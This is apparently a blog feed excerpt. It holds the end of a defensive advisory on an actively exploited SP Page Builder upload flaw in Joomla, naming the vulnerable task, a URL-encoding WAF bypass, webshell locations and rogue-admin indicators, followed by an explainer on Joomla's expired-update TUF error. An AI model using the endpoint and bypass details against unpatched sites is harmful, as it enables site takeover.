&lt;p&gt;Second, it drops a &lt;strong&gt;PHP file manager backdoor&lt;/strong&gt;. This is a full-featured admin panel, branded internally as “PHP File manager ver 1.4”, with file browsing, a built-in PHP console, and a SQL console. The attacker plants several identical copies of it in innocuous-looking places, typically a &lt;code&gt;.php&lt;/code&gt; file under &lt;code&gt;images/&amp;lt;random&amp;gt;/fonts/&lt;/code&gt;, and stray copies named &lt;code&gt;users.php&lt;/code&gt; in folders like &lt;code&gt;/media/com_admin/&lt;/code&gt; and &lt;code&gt;/media/regularlabs/&lt;/code&gt;. The point of scattering identical copies is persistence: if you find one and delete it, the others are still there, and they all let the attacker straight back in.&lt;/p&gt;
&lt;p&gt;One operational note if you are reading your logs. Joomla writes the user account’s creation timestamp in the site’s own timezone, taken from &lt;code&gt;configuration.php&lt;/code&gt;, not in UTC. Your web server access logs are usually in UTC. So a rogue admin that looks like it was created at, say, 19:20 in the user table can correspond to an upload at 02:20 the next morning in the access log. Convert before you go looking, or you will search the wrong window and conclude, wrongly, that the log is clean.&lt;/p&gt;
&lt;h2&gt;A WAF That Stops the JCE Hack Might Not Stop This&lt;/h2&gt;
&lt;p&gt;If you have been keeping up with Joomla security this year, you have already deployed WAF rules for the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE editor file upload&lt;/a&gt;. It is tempting to assume those rules cover this too. They often do not.&lt;/p&gt;
&lt;p&gt;This is a separate vector with a separate request signature. We have watched WAF configurations, including ones tuned specifically for the JCE wave, correctly return a 403 for the &lt;code&gt;com_jce&lt;/code&gt; exploit paths while letting the SP Page Builder &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; request sail through with a 200. The rule was written for the last attack, not this one. That is the trap with signature-based blocking: it protects you against exactly the thing it was told about and nothing else.&lt;/p&gt;
&lt;p&gt;If you cannot update to 6.6.2 immediately, a web server rule that blocks requests with the &lt;code&gt;asset.uploadCustomIcon&lt;/code&gt; task will buy you time. One thing to watch: the dot in the task name can be sent URL-encoded as &lt;code&gt;%2e&lt;/code&gt;, and a naive rule that only matches a literal dot will miss it. The rule has to account for the encoded form too. But a blocking rule is a stopgap. The real fix is the update.&lt;/p&gt;
&lt;h2&gt;Update to 6.6.2, Then Hunt the Admin&lt;/h2&gt;
&lt;p&gt;The fix is SP Page Builder 6.6.2. Updating to it closes the upload hole. You have three ways to do it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Joomla admin:&lt;/strong&gt; update SP Page Builder the normal way through the Joomla updater&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;mySites.guru dashboard:&lt;/strong&gt; push the update across several sites at once without logging into each one&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direct download:&lt;/strong&gt; grab 6.6.2 from &lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;joomshaper.com&lt;/a&gt; and install it over the top&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The one thing that matters is that you are on 6.6.2 or later. If you took emergency action before updating and renamed or removed the component, reinstall it from a clean 6.6.2 download rather than putting the old files back, otherwise you are restoring the vulnerable version.&lt;/p&gt;
&lt;p&gt;But updating only stops the next attempt. Because this was being actively exploited and the payload plants a hidden admin, you have to assume some sites were hit and check every one.&lt;/p&gt;
&lt;h2&gt;Updating Closes the Door. The Hidden Admin Is Already Inside&lt;/h2&gt;
&lt;p&gt;This is the step people skip, and on this vulnerability it is the one that matters most. A patched site with a rogue Super User on it is still fully compromised. The attacker does not need the upload bug any more, they have a Super Administrator login.&lt;/p&gt;
&lt;p&gt;For every site that had SP Page Builder below 6.6.2:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Check the user list for accounts you did not create.&lt;/strong&gt; The clear signal is a Super Administrator with an &lt;code&gt;@secure.local&lt;/code&gt; email. mySites.guru’s &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/hacked/rogueadmins&quot;&gt;Rogue Super Admin check&lt;/a&gt; does this across all your Joomla sites at once, lists every flagged account so you can see exactly who will be removed, and deletes them all with one click. Deletion is permanent and there is no backup, so note anything you want for evidence first&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-confirm.BfAD0K-4_Z1thAjm.webp&quot; srcset=&quot;https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-confirm.BfAD0K-4_Zn6I5S.webp 640w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-confirm.BfAD0K-4_ZvbBxu.webp 750w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-confirm.BfAD0K-4_1jULbF.webp 828w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-confirm.BfAD0K-4_Z1thAjm.webp 972w&quot; alt=&quot;The Delete rogue Super Admins confirmation dialog in mySites.guru, warning that permanently deleting every listed rogue Super Administrator account cannot be undone and that mySites.guru does not keep a backup, with Cancel and Delete buttons&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 972px) 972px, 100vw&quot; width=&quot;972&quot; height=&quot;498&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Do not treat a clean result as all-clear.&lt;/strong&gt; If the check finds no &lt;code&gt;@secure.local&lt;/code&gt; admins, that only rules out this specific account signature. The site can still be hacked, so run a full audit and the Suspect Content scan anyway&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-clear.BavSF8rE_Z1GXq2F.webp&quot; srcset=&quot;https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-clear.BavSF8rE_Z1btt6P.webp 640w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-clear.BavSF8rE_Z1N3g8G.webp 750w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-clear.BavSF8rE_1zmaoM.webp 828w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-clear.BavSF8rE_T72Ns.webp 1080w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-clear.BavSF8rE_ZHwEcW.webp 1280w, https://mysites.guru/_astro/sp-pagebuilder-rogueadmins-clear.BavSF8rE_Z1GXq2F.webp 1648w&quot; alt=&quot;The mySites.guru Rogue Super Admin check showing a green No rogue Super Admins found result, noting that no Super Administrator accounts have the @secure.local attacker signature but that you should still run a full audit and review the Suspect Content tool for the dropped webshell&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1648px) 1648px, 100vw&quot; width=&quot;1648&quot; height=&quot;994&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Look for the dropped webshell.&lt;/strong&gt; Search for unexpected &lt;code&gt;.php&lt;/code&gt; files under &lt;code&gt;images/&amp;lt;random&amp;gt;/fonts/&lt;/code&gt;, and for stray files named &lt;code&gt;users.php&lt;/code&gt; in folders like &lt;code&gt;/media/com_admin/&lt;/code&gt; and &lt;code&gt;/media/regularlabs/&lt;/code&gt;. The file contents will mention a “PHP File manager”. Multiple identical copies is normal for this attack, so do not stop at the first one. You do not have to grep for these by hand: mySites.guru already catches them&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Let the scanner find the backdoor for you.&lt;/strong&gt; These &lt;code&gt;users.php&lt;/code&gt; “PHP File manager” droppers are exactly what mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Suspect Content and Hacked file scanners&lt;/a&gt; are built to flag. The scanner runs on every snapshot, twice a day, on every connected Joomla site, matching files against thousands of web shell signatures and surfacing files that do not belong, so a copy hiding in &lt;code&gt;/media/com_admin/&lt;/code&gt; is found just as readily as the one under &lt;code&gt;images/&amp;lt;random&amp;gt;/fonts/&lt;/code&gt;. Open each affected site in the dashboard and check its &lt;strong&gt;Hacked?&lt;/strong&gt; section. Worth knowing which flag is which: see &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;Suspect Content vs Hacked Files&lt;/a&gt; for what each result means and which ones are a confirmed compromise rather than a pattern match&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you find anything, treat that site as compromised and &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;clean it properly&lt;/a&gt;: remove the rogue admin and every backdoor copy, rotate your Joomla passwords, database credentials and FTP/SSH keys, force-logout all sessions, and audit the whole site rather than just the SP Page Builder folder. Someone who got in through one component will usually leave a second way back in somewhere you would not think to look. Finding one mess is a reason to check the whole house.&lt;/p&gt;
&lt;h2&gt;This Keeps Happening to Joomla Components&lt;/h2&gt;
&lt;p&gt;SP Page Builder is not an outlier. It joins a steady run of third-party Joomla component vulnerabilities we have written up this year, several with the same shape: an endpoint that should have been locked down, reachable without authentication, doing something dangerous. The &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda zero day&lt;/a&gt; was another unauthenticated file upload, found the same week as this one. The &lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid framework backdoor&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain framework RCE&lt;/a&gt; were both unauthenticated code execution in widely-installed extensions. The &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;vulnerable JCE editor&lt;/a&gt; was another file upload, and &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; (a different page builder again, from a different vendor) was the same unauthenticated upload-to-RCE story a few months later. JoomShaper’s own Helix3 template framework has since joined the list: its unauthenticated flaw is being mass-exploited in the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Hacked by AntonKill defacement wave&lt;/a&gt;, the same vendor and the same class of bug turning up again in a different product. The underlying pattern, where an &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX or form endpoint skips its authorization check&lt;/a&gt;, is one of the most common ways Joomla sites get hacked through no fault of the site owner.&lt;/p&gt;
&lt;p&gt;Extensions are what make Joomla useful, and SP Page Builder is good at its job. The lesson is that the security of your sites depends on code other people wrote, shipped on their own schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites run it, patch them all at once, and check whether any were already turned into an attacker’s beachhead. That is the entire reason mySites.guru indexes every extension on every site you connect and ships a specific check the moment a specific attack like this one appears. When the next one drops, and there will be a next one, you want to be the operator who patched and swept before the scanner came back, not the one finding an &lt;code&gt;@secure.local&lt;/code&gt; admin three weeks later.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;This vulnerability is tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/strong&gt;, published 20 June 2026 by the Joomla security team.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;10.0&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Actively attacked&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE ID&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-284: Improper Access Control&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;SP Page Builder 1.0.0 through 6.6.1&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;6.6.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Exploit maturity&lt;/td&gt;&lt;td&gt;Actively Attacked&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-15&lt;/strong&gt; Live exploitation traced in real Joomla access logs A POST to the asset.uploadCustomIcon task returning 200, then a GET to the planted PHP file, then a brand new Super User appearing in the site. Active exploitation, not a theoretical finding, which is why we treated it as a zero day and published the same day. Every version to 6.6.1 is affected and 6.6.2 closes it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-20&lt;/strong&gt; CVE-2026-48908 is published by the Joomla security team An unauthenticated arbitrary file upload leading to remote code execution, scored 10.0, crediting Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-12&lt;/strong&gt; 6.6.2 is no longer the version to be on We later found and reported a pre-authentication SQL injection and an unauthenticated mail relay, fixed in 6.7.1, then a second unauthenticated remote code execution flaw that was still there in 6.7.1 and was only fixed in 6.8.0, and then five more issues in 6.9.0, fixed in 6.9.1. Install 6.9.1 or later.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;Every Joomla extension vulnerability we disclosed in a single month&lt;/a&gt; - the roundup this SP Page Builder zero day belongs to&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;Pre-authentication SQL injection and mail relay in SP Page Builder&lt;/a&gt; - four more flaws we reported, fixed in 6.7.1&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure/&quot;&gt;Unauthenticated remote code execution in SP Page Builder&lt;/a&gt; - the fifth flaw, which was still there in 6.7.1 and needed 6.8.0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;SQL injection and a captcha bypass in SP Page Builder&lt;/a&gt; - five more issues we reported in September, fixed in 6.9.1&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder&apos;s Joomla 3 patch reaches 1.0.3&lt;/a&gt; - the Joomla 3 back-port of those September fixes, corrected after we found two more gaps in it&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vulnerability.circl.lu/vuln/cve-2026-48908&quot;&gt;CVE-2026-48908 on vulnerability.circl.lu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/page-builder&quot;&gt;SP Page Builder by JoomShaper&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/vulnerabilities/Unrestricted_File_Upload&quot;&gt;OWASP: Unrestricted File Upload&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_Checklist&quot;&gt;Joomla security best practices&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>sp-page-builder</category><category>rce</category><category>file-upload</category><enclosure url="https://mysites.guru/img/og/blog/sp-page-builder-zero-day-uploadcustomicon-rce.png" length="0" type="image/png"/></item><item><title>Joomla Update Not Possible Because the Offered Update Has Expired</title><link>https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-update-not-possible-offered-update-has-expired/</guid><description>Joomla shows &quot;Update not possible because the offered update has expired&quot;? It is usually not your site. Here is the real cause, and how to fix it.</description><pubDate>Sat, 13 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You click Check for Updates in Joomla, expecting the new version you know is out, and instead get a red banner:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update not possible because the offered update has expired.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Depending on your language pack you might see it worded slightly differently, for example “The update is not possible because the proposed update has expired.” It is the same error either way.&lt;/p&gt;
&lt;p&gt;The wording makes it sound like your site did something wrong. It did not. This is a security feature working exactly as designed, and the cause is almost always on Joomla’s side, not yours. Most of the forum threads you will find answer it with “try a manual update” or “clear your cache” without ever explaining what actually happened, which means a lot of people end up resetting and reinstalling things that were never broken.&lt;/p&gt;
&lt;p&gt;Here is the real mechanism, how to tell whether the problem is Joomla’s update server or your own install, and the right fix for each, so you stop the second it is safe to.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;TL;DR&lt;/p&gt;&lt;p&gt;This is the Joomla core project’s problem, not yours, and there is nothing on your site for you to fix. Their update server stopped receiving the freshly signed files it needs, the existing ones expired, and your Joomla correctly would not trust expired data. You cannot fix it from your end. You wait for the Joomla core project to get their ducks in a row and redeploy the files, which they have had to do more than once before. Re-check in an hour, and if you cannot wait, use Upload and Update with the package from joomla.org.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How mySites.guru Caught This Across Thousands of Joomla Sites&lt;/h2&gt;
&lt;p&gt;When we manage thousands of Joomla sites at &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru&lt;/a&gt;, an error that fires on Joomla’s central update server is not a one-site curiosity. It hits every site at once, and we want to know about it before clients do.&lt;/p&gt;
&lt;p&gt;We built a monitor that watches Joomla’s TUF update endpoints every hour and emails us the moment the signing metadata is expired or about to expire. It checks the same three signed files Joomla clients read (timestamp, snapshot, targets) across three vantage points: what the CDN serves, what the origin server serves once you bust the cache, and what the source repository holds. When those three disagree, something in Joomla’s publishing pipeline has stalled and every site checking for an update in that window will see the expired-update error.&lt;/p&gt;
&lt;p&gt;That is exactly what happened on 13 June 2026, and the monitor is why this post exists. The numbers below are the live state our check recorded that afternoon, not a reconstruction.&lt;/p&gt;
&lt;div&gt;&lt;table&gt;&lt;caption&gt;timestamp.json, verified live 2026-06-13 around 19:00 UTC&lt;/caption&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Source&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;Expires&lt;/th&gt;&lt;th&gt;State&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;th&gt;joomla/updates git repo (HEAD)&lt;/th&gt;&lt;td&gt;v1106&lt;/td&gt;&lt;td&gt;2026-06-16&lt;/td&gt;&lt;td&gt;fresh&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;update.joomla.org/cms origin (cache-bust MISS)&lt;/th&gt;&lt;td&gt;v1100&lt;/td&gt;&lt;td&gt;2026-06-13 01:20 UTC&lt;/td&gt;&lt;td&gt;expired ~18h ago&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;th&gt;update.joomla.org/cms via Cloudflare (HIT)&lt;/th&gt;&lt;td&gt;v1100&lt;/td&gt;&lt;td&gt;2026-06-13 01:20 UTC&lt;/td&gt;&lt;td&gt;expired, last modified Jun 11&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;If you run more than a handful of Joomla sites, this is the difference between learning about an update outage from a dashboard and learning about it from a client. The rest of this post is the full explanation, which works whether or not you use a management platform.&lt;/p&gt;
&lt;h2&gt;What Does the Joomla “Offered Update Has Expired” Error Actually Mean?&lt;/h2&gt;
&lt;p&gt;The error is a TUF freeze-attack warning. Internally it is the language string &lt;code&gt;JLIB_INSTALLER_TUF_FREEZE_ATTACK&lt;/code&gt;, and it fires when the signed update metadata Joomla downloads has an expiry date that is now in the past.&lt;/p&gt;
&lt;p&gt;Since Joomla 5.1, core updates are secured with &lt;a href=&quot;https://theupdateframework.io/&quot;&gt;TUF, The Update Framework&lt;/a&gt;. Instead of trusting a plain XML file, Joomla downloads a set of cryptographically signed metadata files and verifies them before it will install anything. Every one of those files has an expiry date on purpose. A freeze attack is when someone replays old but still-valid-looking update data to keep your site frozen on an outdated, vulnerable version. TUF defends against it by rejecting any metadata whose expiry has passed.&lt;/p&gt;
&lt;p&gt;So when Joomla says the offered update has expired, it is not describing your site. It is telling you the metadata it just fetched from the update server was past its expiry date, and it correctly would not trust it. That rejection is the feature, not the bug.&lt;/p&gt;
&lt;h2&gt;Why Is My Joomla Site Showing This If Nothing Is Wrong?&lt;/h2&gt;
&lt;p&gt;Because the expired metadata almost always comes from Joomla’s own update server, not your site. There are two distinct causes, and they need different responses.&lt;/p&gt;
&lt;h3&gt;Cause One, the Common One: Joomla’s Update Server Served an Expired File&lt;/h3&gt;
&lt;p&gt;Joomla re-signs the shortest-lived metadata file, &lt;code&gt;timestamp.json&lt;/code&gt;, every day, because it is set to expire after just three days. That fresh file then has to be deployed to the public update server and the CDN cache cleared. If that daily deploy stalls, the server keeps serving the previous file until it expires, and from that moment every site that checks for updates gets the freeze-attack error. Nothing is wrong with any of those sites. They are all correctly rejecting an expired file.&lt;/p&gt;
&lt;h3&gt;Cause Two, the Rarer One: Your Own Cached Metadata Is Stale&lt;/h3&gt;
&lt;p&gt;A site that has been dormant for months, or one restored from an old backup, can hold a long-expired copy of the metadata locally. When it finally checks for updates and compares its cached file against the current time, the file is expired and the same error fires. This one really is local to your site, and it is the only case where resetting your update component is the correct fix.&lt;/p&gt;
&lt;p&gt;Telling them apart is simple, and the next section is the test.&lt;/p&gt;
&lt;h2&gt;How Do I Tell Whether It Is Joomla’s Server or My Site?&lt;/h2&gt;
&lt;p&gt;Run two quick checks before you change anything.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Wait an hour and re-check.&lt;/strong&gt; Go to System then Update and click Check for Updates again about an hour later. If it succeeds, the cause was a transient expired file on Joomla’s server that has since refreshed. You are done, and you correctly avoided touching a site that was never broken.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Try Upload and Update.&lt;/strong&gt; Download the version you want from joomla.org and use Extensions then Manage then Upload and Update. This path installs a package you supply by hand and bypasses the TUF live update channel completely, so the expired-metadata check never runs. If Upload and Update works while the normal check fails, that is near-proof the package is fine and only the live update channel is affected, which means the problem is the server, not your install.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the error clears on its own within a day, or appears on multiple sites at once, it is the server-side cause and there is nothing to fix on your end. If it persists for days on a single long-dormant or restored site while other sites update fine, it is the local-cache cause, and only then should you reset.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Note&lt;/p&gt;&lt;p&gt;A host-side or CDN cache in front of your outbound update requests can also hold an expired file locally. If you run your own caching proxy, ask your host not to cache responses from update.joomla.org for longer than about an hour.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;A Real Example: The 13 June 2026 Outage, Traced End to End&lt;/h2&gt;
&lt;p&gt;This is the part the forum threads never get to. On 13 June 2026 we watched the whole chain in real time, so here is exactly what broke.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;&lt;img src=&quot;https://mysites.guru/_astro/joomla-update-not-possible-error-screenshot.DZtbD0nR_FYOxz.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-update-not-possible-error-screenshot.DZtbD0nR_xUNAW.webp 640w, https://mysites.guru/_astro/joomla-update-not-possible-error-screenshot.DZtbD0nR_vl9SC.webp 750w, https://mysites.guru/_astro/joomla-update-not-possible-error-screenshot.DZtbD0nR_Z53DF0.webp 828w, https://mysites.guru/_astro/joomla-update-not-possible-error-screenshot.DZtbD0nR_Z28sjxO.webp 1080w, https://mysites.guru/_astro/joomla-update-not-possible-error-screenshot.DZtbD0nR_dbMtm.webp 1280w, https://mysites.guru/_astro/joomla-update-not-possible-error-screenshot.DZtbD0nR_Z1EOwgg.webp 1668w, https://mysites.guru/_astro/joomla-update-not-possible-error-screenshot.DZtbD0nR_FYOxz.webp 2000w&quot; alt=&quot;The Joomla Update screen showing a green &amp;quot;Check for updates&amp;quot; confirmation above a red error banner reading &amp;quot;The update is not possible because the proposed update has expired&amp;quot;, on a site running the Default Joomla 5.x update channel&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2000px) 2000px, 100vw&quot; width=&quot;2000&quot; height=&quot;854&quot; /&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Joomla’s &lt;code&gt;timestamp.json&lt;/code&gt; has a three-day life. Version 1100 was signed on 10 June with an expiry stamped at 2026-06-13 01:20 UTC, and it was the last version the update server received (its copy was last modified 11 June). The job that re-signs the file and pushes it to the server is supposed to replace it every day, well before that expiry. It stopped.&lt;/p&gt;
&lt;p&gt;The publish pipeline has two parts. A signing half re-signs the timestamp and commits it to the &lt;code&gt;joomla/updates&lt;/code&gt; repository. A deploy half, run by the project’s Drone CI, copies the signed files to the public update server over SFTP and purges the Cloudflare cache, then posts a “Repository deployed” status back on the commit. Looking at the commit history, that “Repository deployed” status appears on every commit up to and including 10 June, then vanishes. From 11 June onward, every “Update timestamp” commit sits with no deploy status at all. Drone simply stopped deploying after 10 June.&lt;/p&gt;
&lt;p&gt;That is why version 1100 was the last file the update server received before the deploys stopped. It expired on 13 June at 01:20 UTC, three days after it was signed, and nothing newer reached the server to replace it.&lt;/p&gt;
&lt;p&gt;The signing half, meanwhile, kept running. The repository normally gets one “Update timestamp” commit a day. On 13 June it got four: the scheduled 01:21 run (version 1103), then three more off-schedule at 13:12, 14:27 and 18:27, up to version 1106. That cadence is a maintainer manually re-running the pipeline through the afternoon, trying to get a deploy to fire. Each run re-signed and committed a fresh timestamp to the repository, and not one of them changed anything on the live server, because the deploy half was the part that was down. We confirmed the server was still serving the expired version 1100 by re-requesting with a cache-buster and getting 1100 back, last modified 11 June, hours after the repository had raced ahead to 1106.&lt;/p&gt;
&lt;p&gt;Snapshot and targets, the other two metadata files, were fine the whole time (they expire in December and August). It was purely the expired timestamp gate, served by a deploy pipeline that had stopped three days earlier, blocking every refresh.&lt;/p&gt;
